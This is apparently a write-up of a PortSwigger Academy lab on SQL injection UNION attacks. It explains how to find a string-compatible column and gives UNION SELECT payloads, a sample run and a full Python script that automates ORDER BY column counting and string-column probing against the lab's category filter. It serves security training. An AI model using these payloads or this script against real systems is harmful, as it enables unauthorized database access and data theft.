The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.

Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of `UNION SELECT` payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

' UNION SELECT 'a',NULL,NULL,NULL--

' UNION SELECT NULL,'a',NULL,NULL--

' UNION SELECT NULL,NULL,'a',NULL--

' UNION SELECT NULL,NULL,NULL,'a'--

If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:

If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.

This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a [previous lab](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns). The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform an [SQL injection UNION attack](https://portswigger.net/web-security/sql-injection/union-attacks) that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

$ python3 sqli_lab_04.py https://aca21fae1faa6a9xxxxxxxxxxxxxx.web-security-academy.net/

>> SQL injection UNION attack, finding a column containing text

>> by Port Swigger Academy

[*] Figuring out number of columns...

[✓] The number of columns is 3.

[*] Figuring out which column contains text...

[✓] The column that contains text is 2.

import requests

import sys

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Interface ():

def __init__ (self):

self.red = '\033[91m'

self.green = '\033[92m'

self.white = '\033[37m'

self.yellow = '\033[93m'

self.bold = '\033[1m'

self.end = '\033[0m'

def header(self):

print('\n >> SQL injection UNION attack, finding a column containing text')

print(' >> by Port Swigger Academy\n')

def info (self, message):

print(f"[{self.white}*{self.end}] {message}")

def warning (self, message):

print(f"[{self.yellow}!{self.end}] {message}")

def error (self, message):

print(f"[{self.red}x{self.end}] {message}")

def success (self, message):

print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")

global output

output = Interface()

output.header()

proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

def exploit_sqli_column_number(url):

path = "filter?category=Pets"

for i in range(1,50):

sql_payload = "'+ORDER+BY+%s--" %i

r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)

res = r.text

if "Internal Server Error" in res:

return i - 1

i = i + 1

return False

def exploit_sqli_string_field(url, num_col):

path = "filter?category=Pets"

for i in range(1, num_col+1):

string = "'pAhGB6'"

payload_list = [' NULL'] * num_col

payload_list[i-1] = string

sqli_payload = "' UNION SELECT " + ','.join(payload_list) + "--"

r = requests.get(url + path + sqli_payload, verify=False, proxies=proxies)

res = r.text

if string.strip('\'') in res:

return i

return False

if __name__ == "__main__":

try:

url = sys.argv[1].strip()

except IndexError:

output.info("Usage: %s <url>" % sys.argv[0])

output.info("Example: %s www.example.com" % sys.argv[0])

sys.exit(-1)

output.info("Figuring out number of columns...")

num_col = exploit_sqli_column_number(url)

if num_col:

output.success("The number of columns is " + str(num_col) + ".")

output.info("Figuring out which column contains text...")

string_column = exploit_sqli_string_field(url,num_col)

if string_column:

output.success("The column that contains text is " + str(string_column) + ".")

else:

output.error("We were not able to find a column that has a string data type.")

else:

output.error("SQLi attack was not successful!")